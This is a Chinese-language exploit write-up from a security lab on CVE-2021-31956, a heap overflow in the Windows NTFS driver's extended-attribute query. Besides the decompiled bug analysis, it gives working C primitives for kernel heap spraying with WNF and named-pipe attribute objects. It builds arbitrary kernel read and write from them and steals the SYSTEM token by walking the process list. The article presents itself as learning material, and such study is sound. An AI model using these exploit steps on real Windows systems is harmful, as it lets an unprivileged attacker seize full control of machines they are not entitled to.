作者:京东安全 Dawn Security Lab
原文链接:https://dawnslab.jd.com/CVE-2021-31956/
CVE-2021-31956是微软2021年6月份披露的一个内核堆溢出漏洞,攻击者可以利用此漏洞实现本地权限提升,nccgroup的博客已经进行了详细的利用分析,不过并没有贴出exploit的源代码。
本篇文章记录一下自己学习windows exploit的过程,使用的利用技巧和nccgroup提到的大同小异,仅供学习参考。
漏洞定位在windows的NTFS文件系统驱动上(C:\Windows\System32\drivers\ntfs.sys),NTFS文件系统允许为每一个文件额外存储若干个键值对属性,称之为EA(Extend Attribution) 。从微软的开发文档上可以查出,有一些系统调用是用来处理键值对的读写操作。
// 为文件创建EA
NTSTATUS ZwSetEaFile(
[in] HANDLE FileHandle,
[out] PIO_STATUS_BLOCK IoStatusBlock,
[in] PVOID Buffer,
[in] ULONG Length
);
// 查询文件EA
NTSTATUS ZwQueryEaFile(
[in] HANDLE FileHandle,
[out] PIO_STATUS_BLOCK IoStatusBlock,
[out] PVOID Buffer, // PFILE_FULL_EA_INFORMATION
[in] ULONG Length,
[in] BOOLEAN ReturnSingleEntry,
[in, optional] PVOID EaList, // PFILE_GET_EA_INFORMATION
[in] ULONG EaListLength,
[in, optional] PULONG EaIndex,
[in] BOOLEAN RestartScan
);
typedef struct _FILE_GET_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR EaNameLength;
CHAR EaName[1];
} FILE_GET_EA_INFORMATION, *PFILE_GET_EA_INFORMATION;
typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR Flags;
UCHAR EaNameLength;
USHORT EaValueLength;
CHAR EaName[1];
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
如下是查询EA的系统调用实现,查询时接收一个用户传入的字典的key集合eaList,将查询到的键值对写入到output_buffer。每次写完一个键值对,需要四字节对齐,函数内部维护了一个变量padding_length用来指示每次向output_buffer写入时需要额外填充的数据长度,同时维护了一个变量为output_buffer_length用来记录output_buffer剩余的可用空间。但是在【A】处写入键值对时并没有检查output_buffer_length是否大于padding_length,两个uint32相减以后发生整数溢出绕过检查,在后面memmove的时候实现任意长度,任意内容越界写。
_QWORD *__fastcall NtfsQueryEaUserEaList(_QWORD *a1, FILE_FULL_EA_INFORMATION *ea_blocks_for_file, __int64 a3, __int64 output_buffer, unsigned int output_buffer_length, PFILE_GET_EA_INFORMATION eaList, char a7)
{
int v8; // edi
ULONG eaList_iter; // ebx
unsigned int padding_length; // er15
PFILE_GET_EA_INFORMATION current_ea; // r12
ULONG v12; // er14
UCHAR v13; // r13
PFILE_GET_EA_INFORMATION i; // rbx
unsigned int output_idx_; // ebx
FILE_FULL_EA_INFORMATION *output_iter; // r13
unsigned int current_ea_output_length; // er14
unsigned int v18; // ebx
FILE_FULL_EA_INFORMATION *v20; // rdx
char v21; // al
ULONG next_iter; // [rsp+20h] [rbp-38h]
unsigned int v23; // [rsp+24h] [rbp-34h] BYREF
FILE_FULL_EA_INFORMATION *v24; // [rsp+28h] [rbp-30h]
struct _STRING reqEaName; // [rsp+30h] [rbp-28h] BYREF
STRING SourceString; // [rsp+40h] [rbp-18h] BYREF
unsigned int output_idx; // [rsp+A0h] [rbp+48h]
v8 = 0;
*a1 = 0i64;
v24 = 0i64;
eaList_iter = 0;
output_idx = 0;
padding_length = 0;
a1[1] = 0i64;
while ( 1 )
{
current_ea = (PFILE_GET_EA_INFORMATION)((char *)eaList + eaList_iter);
*(_QWORD *)&reqEaName.Length = 0i64;
reqEaName.Buffer = 0i64;
*(_QWORD *)&SourceString.Length = 0i64;
SourceString.Buffer = 0i64;
*(_QWORD *)&reqEaName.Length = current_ea->EaNameLength;
reqEaName.MaximumLength = reqEaName.Length;
reqEaName.Buffer = current_ea->EaName;
RtlUpperString(&reqEaName, &reqEaName);
if ( !NtfsIsEaNameValid(&reqEaName) )
break;
v12 = current_ea->NextEntryOffset;
v13 = current_ea->EaNameLength;
next_iter = current_ea->NextEntryOffset + eaList_iter;
for ( i = eaList; ; i = (PFILE_GET_EA_INFORMATION)((char *)i + i->NextEntryOffset) )
{
if ( i == current_ea )
{
output_idx_ = output_idx;
output_iter = (FILE_FULL_EA_INFORMATION *)(output_buffer + padding_length + output_idx);
if ( NtfsLocateEaByName((__int64)ea_blocks_for_file, *(_DWORD *)(a3 + 4), &reqEaName, &v23) )
{ // Find EA
v20 = (FILE_FULL_EA_INFORMATION *)((char *)ea_blocks_for_file + v23);
current_ea_output_length = v20->EaValueLength + v20->EaNameLength + 9;
if ( current_ea_output_length <= output_buffer_length - padding_length ) // 【A】
{
memmove(output_iter, v20, current_ea_output_length);
output_iter->NextEntryOffset = 0;
goto LABEL_8;
}
}
else
{ // EA not found??
current_ea_output_length = current_ea->EaNameLength + 9;
if ( current_ea_output_length + padding_length <= output_buffer_length )
{
output_iter->NextEntryOffset = 0;
output_iter->Flags = 0;
output_iter->EaNameLength = current_ea->EaNameLength;
output_iter->EaValueLength = 0;
memmove(output_iter->EaName, current_ea->EaName, current_ea->EaNameLength);
SourceString.Length = reqEaName.Length;
SourceString.MaximumLength = reqEaName.Length;
SourceString.Buffer = output_iter->EaName;
RtlUpperString(&SourceString, &SourceString);
output_idx_ = output_idx;
output_iter->EaName[current_ea->EaNameLength] = 0;
LABEL_8:
v18 = current_ea_output_length + padding_length + output_idx_;
output_idx = v18;
if ( !a7 )
{
if ( v24 )
v24->NextEntryOffset = (_DWORD)output_iter - (_DWORD)v24;
if ( current_ea->NextEntryOffset )
{
v24 = output_iter;
output_buffer_length -= current_ea_output_length + padding_length;
padding_length = ((current_ea_output_length + 3) & 0xFFFFFFFC) - current_ea_output_length;
goto LABEL_26;
}
}
...
在具体介绍利用之前,需要先简单了解一下windows的堆分配算法。Windows10引入了新的方式进行堆块管理,称为Segment Heap,有篇文章对此进行了详细的描述。
每个堆块有个堆头用来记录元信息,占据了16个字节,结构如下。
typedef struct {
char previousSize;
char poolIndex;
char blockSize;
char poolType;
int tag;
void* processBilled;
}PoolHeader;
这个漏洞里,越界对象output_buffer是系统临时申请的堆块,系统调用结束以后会被立即释放,不能持久化保存,这导致SegmentHeap Aligned Chunk Confusion的方法在这里并不适用。 通过实验发现windows在free时的检查并不严格,通过合理控制越界内容,破坏掉下一个堆块的PoolHeader以后,并不会触发异常,这允许我们直接覆盖下一个堆块的数据,接下来的目标就是挑选合适的被攻击堆块对象。
通过查阅资料,我找到了一个用户可以自定义大小的结构体_WNF_STATE_DATA。关于WNF的实际用法,微软并没有提供官方的说明文档,这里不展开介绍,只用把它理解成一个内核实现的数据存储器即可。通过NtCreateWnfStateName创建一个WNF对象实例,实例的数据结构为_WNF_NAME_INSTANCE;通过NtUpdateWnfStateData可以往对象里写入数据,使用_WNF_STATE_DATA数据结构存储写入的内容;通过NtQueryWnfStateData可以读取之前写入的数据,通过NtDeleteWnfStateData可以释放掉这个对象。
//0xa8 bytes (sizeof)
struct _WNF_NAME_INSTANCE
{
struct _WNF_NODE_HEADER Header; //0x0
struct _EX_RUNDOWN_REF RunRef; //0x8
struct _RTL_BALANCED_NODE TreeLinks; //0x10
struct _WNF_STATE_NAME_STRUCT StateName; //0x28
struct _WNF_SCOPE_INSTANCE* ScopeInstance; //0x30
struct _WNF_STATE_NAME_REGISTRATION StateNameInfo; //0x38
struct _WNF_LOCK StateDataLock; //0x50
struct _WNF_STATE_DATA* StateData; //0x58
ULONG CurrentChangeStamp; //0x60
VOID* PermanentDataStore; //0x68
struct _WNF_LOCK StateSubscriptionListLock; //0x70
struct _LIST_ENTRY StateSubscriptionListHead; //0x78
struct _LIST_ENTRY TemporaryNameListEntry; //0x88
struct _EPROCESS* CreatorProcess; //0x98
LONG DataSubscribersCount; //0xa0
LONG CurrentDeliveryCount; //0xa4
};
struct _WNF_STATE_DATA
{
struct _WNF_NODE_HEADER Header; //0x0
ULONG AllocatedSize; //0x4
ULONG DataSize; //0x8
ULONG ChangeStamp; //0xc
};
举例说明,WNF数据在内核里的保存方式如下所示
1: kd> dd ffffdd841d4b6850
ffffdd84`1d4b6850 0b0c0000 20666e57 25a80214 73ca76c5 // PoolHeader 0x10个字节
ffffdd84`1d4b6860 00100904 000000a0 000000a0 00000001 // _WNF_STATE_DATA 数据结构,用户数据的长度为0xa0 0x10个字节
ffffdd84`1d4b6870 61616161 61616161 61616161 61616161 // WNF数据
ffffdd84`1d4b6880 61616161 61616161 61616161 61616161
ffffdd84`1d4b6890 61616161 61616161 61616161 61616161
ffffdd84`1d4b68a0 61616161 61616161 61616161 61616161
ffffdd84`1d4b68b0 61616161 61616161 61616161 61616161
ffffdd84`1d4b68c0 61616161 61616161 61616161 61616161
通过喷堆,控制堆布局如下,NtFE是可以越界写的 chunk,后面紧挨着的是_WNF_STATE_DATA数据结构。越界修改结构体里的DataSize对象,接下来调用NtQueryWnfStateData实现相对偏移地址读写。
0: kd> g
Breakpoint 1 hit
Ntfs!NtfsQueryEaUserEaList:
fffff802`3d2a8990 4c894c2420 mov qword ptr [rsp+20h],r9
1: kd> !pool r9
Pool page ffffdd841d4b67a0 region is Paged pool
ffffdd841d4b6010 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b60d0 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6190 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6250 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6310 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b63d0 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6490 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6550 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6610 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b66d0 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
*ffffdd841d4b6790 size: c0 previous size: 0 (Allocated) *NtFE
Pooltag NtFE : Ea.c, Binary : ntfs.sys
ffffdd841d4b6850 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6910 size: c0 previous size: 0 (Free) ....
ffffdd841d4b69d0 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6a90 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6b50 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6c10 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6cd0 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6d90 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6e50 size: c0 previous size: 0 (Free) ....
ffffdd841d4b6f10 size: c0 previous size: 0 (Free) ....
被篡改过后的_WNF_STATE_DATA 数据结构
1: kd> dd ffffdd841d4b6850
ffffdd84`1d4b6850 030c0000 41414141 00000000 00000000 // 伪造的PoolHeader
ffffdd84`1d4b6860 00000000 0000ffff 000003cc 00000000 // 伪造的_WNF_STATE_DATA,将用户数据长度改为了0x3cc
ffffdd84`1d4b6870 61616161 61616161 61616161 61616161
ffffdd84`1d4b6880 61616161 61616161 61616161 61616161
ffffdd84`1d4b6890 61616161 61616161 61616161 61616161
ffffdd84`1d4b68a0 61616161 61616161 61616161 61616161
ffffdd84`1d4b68b0 61616161 61616161 61616161 61616161
ffffdd84`1d4b68c0 61616161 61616161 61616161 61616161
接下来讲述如何将相对偏移读写转换为任意地址读写。
我们需要使用到另外一个数据结构PipeAttribution,和WNF类似,这个对象可以自定义大小。这里两个指针AttributeName、AttributeValue 正常情况下是指向PipeAttribute.data[]后面的,如果通过堆布局,将AttributeValue的指针该为任意地址,就可以实现任意地址读。遗憾的是,windows并没有提供直接更新该数据结构的功能,不能通过该方法进行任意地址写。
struct PipeAttribute {
LIST_ENTRY list;
char * AttributeName;
uint64_t AttributeValueSize ;
char * AttributeValue ;
char data [0];
};
typedef struct {
HANDLE read;
HANDLE write;
} PIPES;
// 初始化pipe
void pipe_init(PIPES* pipes) {
if (!CreatePipe(&pipes->read, &pipes->write, NULL, 0x1000)) {
printf("createPipe fail\n");
return 1;
}
return 0;
}
// 写入PipeAttribution
int pipe_write_attr(PIPES* pipes, char* name, void* value, int total_size) {
size_t length = strlen(name);
memcpy(tmp_buffer, name, length + 1);
memcpy(tmp_buffer + length + 1, value, total_size - length - 1);
IO_STATUS_BLOCK statusblock;
char output[0x100];
int mystatus = NtFsControlFile(pipes->write, NULL, NULL, NULL,
&statusblock, 0x11003C, tmp_buffer, total_size,
output, sizeof(output));
if (!NT_SUCCESS(mystatus)) {
printf("pipe_write_attr fail 0x%x\n", mystatus);
return 1;
}
return 0;
}
// 读取PipeAttribution
int pipe_read_attr(PIPES* pipes, char* name, char* output,int size) {
IO_STATUS_BLOCK statusblock;
int mystatus = NtFsControlFile(pipes->write, NULL, NULL, NULL,
&statusblock, 0x110038, name,strlen(name)+1,
output, size);
if (!NT_SUCCESS(mystatus)) {
printf("pipe_read_attr fail 0x%x\n", mystatus);
return 1;
}
return 0;
}
理想情况下的堆布局如下所示,ffffdd841d4b6850是之前被覆盖的_WNF_STATE_DATA对象,其余的chunk被释放,然后使用PipeAttribution对象堆喷重新占回。
1: kd> !pool ffffdd841d4b6850
Pool page ffffdd841d4b6850 region is Paged pool
ffffdd841d4b6010 size: c0 previous size: 0 (Free) NpAt
ffffdd841d4b60d0 size: c0 previous size: 0 (Free) NpAt
ffffdd841d4b6190 size: c0 previous size: 0 (Free) NpAt
ffffdd841d4b6250 size: c0 previous size: 0 (Free) NpAt
ffffdd841d4b6310 size: c0 previous size: 0 (Free) NpAt
ffffdd841d4b63d0 size: c0 previous size: 0 (Free) NpAt
ffffdd841d4b6490 size: c0 previous size: 0 (Free) NpAt
ffffdd841d4b6550 size: c0 previous size: 0 (Free) NpAt
ffffdd841d4b6610 size: c0 previous size: 0 (Free) NpAt
ffffdd841d4b66d0 size: c0 previous size: 0 (Free) NpAt
ffffdd841d4b6790 size: c0 previous size: 0 (Free) NpAt
*ffffdd841d4b6850 size: c0 previous size: 0 (Allocated) *AAAA
Owning component : Unknown (update pooltag.txt)
ffffdd841d4b6910 size: c0 previous size: 0 (Allocated) NpAt // 被攻击的数据结构
ffffdd841d4b69d0 size: c0 previous size: 0 (Free) NpAt
ffffdd841d4b6a90 size: c0 previous size: 0 (Free) NpAt
ffffdd841d4b6b50 size: c0 previous size: 0 (Free) NpAt
ffffdd841d4b6c10 size: c0 previous size: 0 (Free) NpAt
ffffdd841d4b6cd0 size: c0 previous size: 0 (Free) NpAt
ffffdd841d4b6d90 size: c0 previous size: 0 (Free) NpAt
ffffdd841d4b6e50 size: c0 previous size: 0 (Free) NpAt
ffffdd841d4b6f10 size: c0 previous size: 0 (Free) NpAt
1: kd> dq ffffdd841d4b6910
ffffdd84`1d4b6910 7441704e`030c0000 00000000`00000000 // PoolHeader
ffffdd84`1d4b6920 ffffdd84`1c8e6cb0 ffffdd84`1c8e6cb0 // list
ffffdd84`1d4b6930 ffffdd84`1d4b6948 00000000`00000078 // AttributeName AttributeValueSize
ffffdd84`1d4b6940 ffffdd84`1d4b6950 00313330`315f6161 // AttributeValue
ffffdd84`1d4b6950 61616161`00000407 61616161`61616161
ffffdd84`1d4b6960 61616161`61616161 61616161`61616161
ffffdd84`1d4b6970 61616161`61616161 61616161`61616161
ffffdd84`1d4b6980 61616161`61616161 61616161`61616161
根据上面讲述的方法实现任意地址读函数
int ab_read(void* addr, void* dst, int size) {
WNF_CHANGE_STAMP stamp;
char readData[0x400];
ULONG readDataSize = sizeof(readData);
NTSTATUS st;
static char wtf_buf[0x1000];
st = NtQueryWnfStateData(oobst, 0, 0, &stamp, readData, &readDataSize);
if (!NT_SUCCESS(st)) {
DEBUG("NtQueryWnfStateData fail %x\n", st);
return 1;
}
PipeAttr* pa = (PipeAttr*)(readData + CHUNK_SIZE);
pa->value = addr;
if (size < 0x20)
pa->value_len = 0x100;
else
pa->value_len = size;
st = NtUpdateWnfStateData(oobst, readData, readDataSize, 0, 0, 0, 0);
if (!NT_SUCCESS(st)) {
DEBUG("NtQueryWnfStateData fail %x\n", st);
return 1;
}
if (pipe_read_attr(&pipes, attackName, wtf_buf, sizeof(wtf_buf))) {
return 1;
}
memcpy(dst, wtf_buf, size);
return 0;
}
我通过修改_WNF_NAME_INSTANCE结构体内的指针_WNF_STATE_DATA实现任意地址写。具体操作是再次释放掉原来的PipeAttribution,使用_WNF_NAME_INSTANCE重新进行堆喷,布局好的堆如下所示
1: kd> !pool ffffdd841d4b6850
Pool page ffffdd841d4b6850 region is Paged pool
ffffdd841d4b6010 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b60d0 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6190 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6250 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6310 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b63d0 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6490 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6550 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6610 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b66d0 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6790 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
*ffffdd841d4b6850 size: c0 previous size: 0 (Allocated) *AAAA
Owning component : Unknown (update pooltag.txt)
ffffdd841d4b6910 size: c0 previous size: 0 (Allocated) NpAt
ffffdd841d4b69d0 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0 // 被修改_WNF_STATE_DATA指针的WNF对象
ffffdd841d4b6a90 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6b50 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6c10 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6cd0 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6d90 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6e50 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
ffffdd841d4b6f10 size: c0 previous size: 0 (Allocated) Wnf Process: ffff878ff44c80c0
通过局部地址读写,覆盖掉下一个Wnf结构体(ffffdd841d4b69d0 )里的_WNF_STATE_DATA,使用对应的结构体进行NtUpdateWnfStateData操作,即可实现任意地址写。
windows权限提升的方法一般都是遍历进程链表,找到高权限进程的token(8字节),替换当前进程的token。
// 循环遍历进程链表,搜索process_id为4的进程,读取其token
ULONGLONG token_addr = eprocess + token_offset;
UCHAR* begin_eprocess = eprocess;
while (1) {
ULONGLONG process_id;
ab_read(eprocess + process_id_offset, &process_id, 8);
if (process_id == 4) {
break;
}
UCHAR* tmp;
ab_read(eprocess + link_offset, &tmp, 8);
tmp -= link_offset;
if (tmp == begin_eprocess) {
break;
}
eprocess = tmp;
}
ULONGLONG token;
ab_read(eprocess + token_offset,&token, 8);
DEBUG("system token %016llx\n", token);
最后执行cmd。
该漏洞的触发条件并不复杂,利用过程也比较简单,虽然windows的堆分配已经有了很大的随机化,但是大力出奇迹,很容易能够得到理想的堆布局,本地实验过程中的exp基本很少将系统打崩溃。写exp的主要时间是在学习windows系统调用如何传参,查阅了很多文档才搞清楚WNF的用法。总体来说难度不大,非常适合初学者入门。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1798/